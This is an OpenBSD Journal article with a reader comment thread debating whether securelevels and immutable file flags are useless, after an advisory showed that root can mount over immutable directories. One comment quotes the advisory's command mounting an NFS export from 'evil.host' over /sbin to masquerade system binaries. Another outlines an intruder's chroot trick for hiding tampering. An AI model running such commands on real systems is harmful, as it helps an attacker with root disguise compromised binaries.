OpenBSD Journal

Securelevels useless?

Contributed by dhartmei on from the opinion-roasting dept.

Several people wrote in about Jason Miller's article How not to respond to a security advisory in a SecurityFocus opinion column. The short version is that a recent advisory shows that root can temporarily replace system immutable files (see chflags(1)) by mounting over them. That's not a shockingly new discovery (some people would even expect that to be the case), but Jason took offense in Theo's vendor reply, which reportedly was "Sorry, we are going to change nothing. Securelevels are useless.".

Taking that statement literally, Jason concludes that OpenBSD should completely remove its securelevel(7) implementation.

One obvious different interpretation would be that system immutable guarantees what the man page says, namely "An immutable file may not be changed, moved, or deleted.", and not that it guarantees any read access will result in approved data. And there are other uses for securelevels besides chflags, and they need not all be equally useless. Or are they?

(Comments are closed)


Comments
  1. By Frank Denis (212.129.63.1) on http://www.manucure-pro.com

    Securelevels are not useless. Just like other security mechanisms, they don't magically make your system bulletproof. But the road to successful exploitation is harder. If you enable them, it might be useless, but you don't have anything to lose either.

    Comments
    1. By Stefan (131.188.24.2) on

      Just list all known issues in the man page and everything is alright. But I do not want to grep the whole www for such things.

      Comments
      1. By tedu (69.12.168.114) on

        what securelevels accomplish is already in the man page. the man page does not exist to explain why what you think is wrong.

        Comments
        1. By skippy (63.237.125.191) on

          That's right. As clearly stated in SECURELEVEL(7): "Highly secure mode may seem Draconian, but is intended as a last line of defence should the superuser account be compromised."

    2. By Dirk Diggler (216.220.116.154) on

      I'm no expert, but looking at the example in the advisory where they overlay an important directory with one mounted via NFS:

      root@# ls -lo /sbin
      total 4884
      -r-xr-xr-x  1 root  wheel     schg   7480 Nov 23 14:04 adjkerntz
      [...]
      
      root@# mount -t nfs evil.host:/exported /sbin
      root@# ls -lo /sbin
      total 4884
      -r-xr-xr-x  1 root  wheel     -      8451 Nov 22 15:07 adjkerntz
      [...]
      
      In some limited toying with mount_nullfs in FreeBSD I can stop that by doing "chflags schg /sbin". Attempts to mount on top of that directory then fail.

      I'm aware that's just one possible problem, but it's the only one covered in the advisory.

      Can anyone confirm this with OpenBSD and mount_nfs?

      Comments
      1. By tedu (69.12.168.114) on

        openbsd still lets you mount over immutable directories. this is probably a bug.

  2. By Han Boetes (213.84.147.9) han@mijncomputer.nl on

    AFAIK it's the only way for me to make sure .ssh/authorized_keys does not get overwritten by the user. I wish something like that would exists on GNU/Linux.

    Comments
    1. By DS (68.106.232.57) on

      According to the advisory, some incarnation of BSD securelevels exists in Linux.

    2. By Charles (216.229.170.65) on

      AFAIK it's the only way for me to make sure .ssh/authorized_keys does not get overwritten by the user. I wish something like that would exists on GNU/Linux.

      Overwritten by a user? Exactly what sort of environment are you in that the following wouldn't work for you?

      chown root:root filename
      chmod 444 filename
      chattr +i filename

      Feel free to create a different user to handle the ownership rights if root makes you nervous.

      -Charles

      Comments
      1. By Ray (192.193.220.149) on

        Also make sure the user cannot delete the file by having write permissions to the directory.

      2. By Han Boetes (213.84.147.9) han@mijncomputer.nl on

        chattr works only on ext2/ext3 filesystems on Linux, and I use jfs on Linux. The .ssh/authorized_keys files _must_ be owned by the user, owned by root is not an option. See for yourself. But I just got a secret tip by email: ``You are aware of the AuthorizedKeysFile option in sshd? I store my users keys in /etc/ssh/authorized_keys/%u where they don't have write access.''

        Comments
        1. By Han Boetes (213.84.147.9) han@mijncomputer.nl on

          ``You are aware of the AuthorizedKeysFile option in sshd? I store my users keys in /etc/ssh/authorized_keys/%u where they don't have write access.'' Which is also not very usefull. The file /etc/ssh/authorized_keys/%u still has to be owned by the user, unless I set ``StrictModes no'' which would allow other nastyness. I think I have to ask if owned by root would also be acceptable.

          Comments
          1. By djm@ (203.217.30.86) on

            authorized_keys may be owned by the user or root, it has been like this for years

    3. By tedu (69.12.168.114) on

      users can't remove system attributes regardless of securelevel.

  3. By Jakub Głazik (81.190.220.70) zytek@ostrow-wlkp.net on

    Well, IMVHO, not allowing mounts on securelevel 2 (similar to NetBSD) would be a good idea.

    Or are there any reasons for system to allow mounts on seclevel 2?

    Comments
    1. By tedu (69.12.168.114) on

      what if you want to disallow mount but allow firewall ruleset updates? which securelevel do you use? what if you want to disallow firewall ruleset updates but allow mount? which securelevel do you use?

      Comments
      1. By Anonymous Coward (142.166.105.71) on

        I don't personally pay a great deal of attention to 'secure-levels' but IMHO I think the individual features enabled/disabled by the secure-levels mechanism might better configured individually (at least when they are independent). Secure levels tries to configure too much on the basis of a single flag, and I think it should probably be replaced and deprecated at some point in the future.

        Comments
        1. By Anonymous Coward (58.93.202.197) on

          But, wouldn't it be Mandatory Access Control?
          I remember Theo once rejected it, saying;
          "People who use such things build systems which cannot be administered later.
          I am holding the fort against such complexity."

      2. By Anonymous Coward (128.151.92.148) on

        So would it make sense to change securelevels to a set of sysctl flags which, once set to nonzero values, cannot go back to 0? That way, you can enable it on a feature-by-feature basis.

    2. By Arach (195.112.252.102) on

      Disable mounts, heh? Should something else to be disabled then? :) chroot()ing, for example. What prevents an intruder using root privileges to make a directory in /, hardlink into it all the mutable stuff from /, including directories, copycat "immutable" stuff, chroot() your login(1), your sshd and the rest of apps? This trick is done without any extra mounting. Will you notice? :)

      Comments
      1. By Anonymous Coward (122.49.137.110) on

        What prevents an intruder using root privileges to make a directory in /, hardlink into it all the mutable stuff from /, including directories...

        One cannot hard link to a directory.

  4. By Peter J Fraser (192.102.11.15) on

    They can be used effectly for accident prevention, particularly
    saving one from a wild "rm *". Though recently I have been using
    the trick of creating a file called "-i" and and putting it in
    important directories.

    Comments
    1. By tedu (69.12.168.114) on

      chflags works without securelevel.

  5. By Jim Hendrick (143.115.159.53) on

    I must agree that the comment was inappropriate in my opinion. If "securelevels are useless", why include them? If they are included and there is a known vulnerability, why not patch it? If it cannot be patched (and as I understand things, it *can* by disabling mounts), at least update the man page.

    That said, clearly no security mechanism is 100%, but for OpenBSD to not address this seems unfortunate given the (well deserved) reputation for taking a security stance.

    Hope it gets addressed...

    Jim

    Comments
    1. By tedu (69.12.168.114) on

      "securelevels are useless" is an over-simplification. there is, however, no vulnerability, no need for a patch, and no need for a man page update.

  6. By Erik Carlseen (68.6.193.220) on

    Whew, I'm probably going to be hated for bringing this up, but I'm going to suggest that Theo needs a spokesperson. He's an extremely bright guy and his overall "uncompromising style" is a key factor to the success of OpenBSD's security focus, but literally no good whatsoever comes out of statements like this. This is not a personal knock. Many other organizations have leaders who are unable to interface on a level that the unwashed masses are able to deal with, because the trait that enables the leader to be successful compromises his ability to communicate effectively. The smart leaders recognize this and delegate the communications duties. Maybe Theo needs to do the same.


    All of you may flame me to a crisp now.

    Comments
    1. By Anonymous Coward (165.254.210.2) on

      What fun would that be?

    2. By ben (66.92.16.195) on

      Whew, I'm probably going to be hated for bringing this up, but I'm going to suggest that Theo needs a spokesperson. He's an extremely bright guy and his overall "uncompromising style" is a key factor to the success of OpenBSD's security focus, but literally no good whatsoever comes out of statements like this. This is not a personal knock. Many other organizations have leaders who are unable to interface on a level that the unwashed masses are able to deal with, because the trait that enables the leader to be successful compromises his ability to communicate effectively. The smart leaders recognize this and delegate the communications duties. Maybe Theo needs to do the same.

      The problem is not that Theo needs a spokesperson, but that you misunderstand what he's doing. Unlike other groups who make operating systems, Theo is very clear that he and the OpenBSD developers are not trying to make the world happy. They're trying to make Theo & the developers happy. If you also happen to like the end product, he's happy to share it with you, but this does not somehow imply that he has to suffer fools.

      I fully support Theo's right to 1. make whatever decisions he wants in his own sandbox and 2. tell people when they're full of crap. If people don't want to listen to him... they don't have to read his mailing lists or visit undeadly.

      Comments
      1. By Erik Carlseen (68.6.193.220) on

        Please don't misunderstand me - Theo has every right to say what he wants and run things the way he wants. Never questioned that. Wouldn't think to. But interfacing with the "fools" (to use your word) in the outside world would be more more efficient and effective if handled in a different manner. Then Theo wouldn't have to suffer "fools" at all - gladly or otherwise.

        Comments
        1. By Anonymous Coward (68.106.232.57) on

          I don't think anyone who codes OpenBSD or likes using OpenBSD cares if Theo seems an asshole to anyone.

          So stop trying to be the niceness police. OpenBSD is not a PR driven project. (Does there need to be a shield between the outspoken CEO and the shareholders in your mind, or something?) And if you don't want to use the OS as a result of your bruised feelings, as has been said before, run to a different OS and get a hug. No one will cry at your parting and no one will beg you to come back. It's really fine. If smiles and hugs are your sort of things, there are plenty of other OS projects that list that on their goals.html. Not this one.

          Comments
          1. By Anonymous Coward (207.41.234.82) on

            I don't think anyone who codes OpenBSD or likes using OpenBSD cares if Theo seems an asshole to anyone.

            So stop trying to be the niceness police. OpenBSD is not a PR driven project. (Does there need to be a shield between the outspoken CEO and the shareholders in your mind, or something?) And if you don't want to use the OS as a result of your bruised feelings, as has been said before, run to a different OS and get a hug. No one will cry at your parting and no one will beg you to come back. It's really fine. If smiles and hugs are your sort of things, there are plenty of other OS projects that list that on their goals.html. Not this one.

            There is no question that Theo handled this poorly. For people who use OpenBSD as a hobby OS, who cares what Theo says. For people who use OpenBSD as a solution for real business, it makes a big difference. The appearance of a product that is being touted as the most secure OS out of the box actively rejecting the concept of fixing a security problem will provide alternate OS's a "leg up" by stating "when we found out about it, we went to work to fix it, unlike OpenBSD".

            As to your question of whether or not an outspoken CEO needs a shield between themselves and shareholders, the answer is "Yes". They are called Marketing.

            OpenBSD has a lot of respect in the security world. I strongly urge Theo to eat his words, and provide a fix and a better explaination.

            Comments
            1. By Anonymous Coward (64.254.225.66) on

              There is no question that Theo handled this poorly. For people who use OpenBSD as a hobby OS, who cares what Theo says. For people who use OpenBSD as a solution for real business, it makes a big difference. The appearance of a product that is being touted as the most secure OS out of the box actively rejecting the concept of fixing a security problem will provide alternate OS's a "leg up" by stating "when we found out about it, we went to work to fix it, unlike OpenBSD".

              You are patently unaware of the intentions of OpenBSD developers. Apply your linux-distribution-mentality to the likes of RedHat or Novell whose investors give a damn.

              As to your question of whether or not an outspoken CEO needs a shield between themselves and shareholders, the answer is "Yes". They are called Marketing.

              Genius. Simply genius. The shareholders are the developers. If you want to develop, you can throw your two bits in and hopefully buy your right to complain about the piece of code you contributed. Shielding Theo from his own developers is a natural course of action. If they don't like what he has to say or how he has to say it, they will contribute code elsewhere.
              It is just that simple.

              OpenBSD has a lot of respect in the security world. I strongly urge Theo to eat his words, and provide a fix and a better explaination.

              If you're so adamant about it, why not code it yourself and submit it for evaluation? It's not a terribly difficult commit, you could even beg/borrow/steal code from another local BSD project.

            2. By Anonymous Coward (68.43.94.80) on

              They're not called "Marketing" -- they're called "Investor Relations."

      2. By Anonymous Coward (69.70.207.240) on

        My interpretation of this is precisely that, or simply put; that he doesn't want to be 'told' what to do or to be 'controlled' - unlike other buzz' names, *cough* *cough*.

        Theo is clearly a leader, in ALL respects of the word (industry, etc.) even if he looks like an a--hole to those who don't understand him, his vision and his goals...

        I think he should be interviewed more by business magazines and the likes... He deserves a lot more public attention, support and credit for what he has done and continues to do.

        Just my $0.02

  7. Comments
    1. By Anonymous Coward (66.23.227.241) on

      why not take it out or change the definition of the word immutable?

      Comments
      1. By Ray Percival (67.171.149.18) rpercival@scarynetworkguy.net on Ray Percival

        How does the file change as a result of this "vuln"?

      2. By Anonymous Coward (68.106.232.57) on

        An immutable file may not be changed, moved, or deleted.

        Mounting over a file does not change it, move it, or delete it. The definition holds. Don't try to read it as "the immutable file is immune to all forms of tampering and hijacking, including bribing, discoloring, time-rot, and breakage by your two year old."

        Comments
        1. By frantisek holop (165.72.200.9) minusf@obiit.org on

          suddenly everyone is a language expert.
          interpretation is never a one way street.

          i don't understand why are you so against adding this
          new piece of information to the man page, tedu...

          this is what the CAVEAT section is for.

          Comments
          1. By Amir Mesry (63.144.61.166) on

            http://dictionary.reference.com/search?q=immutable adj : not subject or susceptible to change or variation in form or quality or nature;

          2. By tedu (69.12.168.114) on

            and what should the man page say? "securelevels only do what the man page says they do, not what you think they should do"?

  8. By Anonymous Coward (81.57.42.108) on

    TdR reply probably means:
    "securelevels are useless [ for this purpose ]".

    RedTeam Consulting found an excellent way to get attention and publicity: just find a controversial "security problem" relying on bad asumptions, and publish it with an out-of-context private email citation.

    Then security experts will focus on this citation, talk about you're publication/advisory everywhere, and you've gained attention. Bingo !

    Whatever, Linux and FreeBSD, by not fixing anything by now, prooved to think silently what TdR said loudly: there's nothing to fix, securelevels are useless for what RedTeam tried to do.

    There's no need to remove securelevels either (that's the missing context: TdR words where probably about the particular context they were talking about).

    At the end of the day, that was a pretty useless security advisory.

    Comments
    1. By Anonymous Coward (81.57.42.108) on

      By the way it's a chance that that kind of verboses "security experts columnists" didn't found (the so full of out-of-context citations !) theo.c file.
      What would they have written if they discovered "First user who tries to push this button, he pounds into the ground with a rant of death.", or "altq's parser sucks dead whale farts through the finest chemistry pipette's", or "I would explain, but I am too drunk." ?
      Hmmm that'd make their day, and funny columns :)

    2. By Ray Percival (12.18.141.172) on

      Marcus Ranum put it very well. And yeah basically you are dead on right. http://www.ranum.com/security/computer_security/editorials/disclosure-1/index.html Of course, his whole site is well worth reading.

  9. By Shane J Pearson (202.45.125.5) on

    Am I missing something obvious here?

    You mount over an immutable directory, to TEMPORARILY give the APPEARANCE of replacing files with perhaps evil versions. What you could do with those evil files is beside the point because you are root anyway right? Oh but wait, we are modifying files that are supposedly not modifiable or perhaps using those evil files to modify immutable files? Surely not, since we have not actually replaced or modified the immutable files, since they are still intact and will be the same they were on the next restart or when we unmount that evil fs.

    So is there actually a real issue? Or just a whole lot of hot air? Does this not mean that immutable really does mean immutable for OpenBSD?

    I don't plan on people getting my root passwords anyway and if they did I think I'd have bigger problems than whether my files were immutable or not.

  10. By Marc Espie (213.41.185.88) espie@openbsd.org on

    I fully agree with Theo: higher securelevels are useless.

    They're just another knob you can fuck up.

    The default boot system sets them just fine, but any higher level seriously
    impedes any kind of update without manual intervention.

    In short, it makes updates about as painful as windows system maintenance: lots of manual intervention, no way to script, need to go back to single user to do anything useful.

    In the end, if you toggle securelevels higher, you will become complacent and postpone NEEDED security updates with REAL usefulness.

    Plus, the false sense of security `oh, root has been compromised, no problem, I have my secret `securelevel 2, get out of jail for free, card''.

    and the added work to list files that need to be changed/tweaked/marked immutable.

    Not worth it.

    All this time is better spent doing REAL, actual security.

    Comments
    1. By kev (79.74.124.156) on

      > I fully agree with Theo: higher securelevels are useless.
      >
      > They're just another knob you can fuck up.
      >
      > The default boot system sets them just fine, but any higher level seriously
      > impedes any kind of update without manual intervention.
      >
      > In short, it makes updates about as painful as windows system maintenance: lots of manual intervention, no way to script, need to go back to single user to do anything useful.
      >
      > In the end, if you toggle securelevels higher, you will become complacent and postpone NEEDED security updates with REAL usefulness.
      >
      > Plus, the false sense of security `oh, root has been compromised, no problem, I have my secret `securelevel 2, get out of jail for free, card''.
      >
      > and the added work to list files that need to be changed/tweaked/marked immutable.
      >
      > Not worth it.
      >
      > All this time is better spent doing REAL, actual security.

      Yeah but what if your planning is so good that it takes virtually no time to reimplement an entire system, but on the whole i agree.

  11. By Chris (24.76.100.162) on

    I'm not sure I understand the worry about a security hole that's predicated on someone doing something bad as root. Might as well have a security alert that talks about how dangerous it is that pf allows you to turn off your FW rules as root. Oh the humanity; our firewall isn't safe!

Credits

Copyright © - Daniel Hartmeier. All rights reserved. Articles and comments are copyright their respective authors, submission implies license to publish on this web site. Contents of the archive prior to as well as images and HTML templates were copied from the fabulous original deadly.org with Jose's and Jim's kind permission. This journal runs as CGI with httpd(8) on OpenBSD, the source code is BSD licensed. undeadly \Un*dead"ly\, a. Not subject to death; immortal. [Obs.]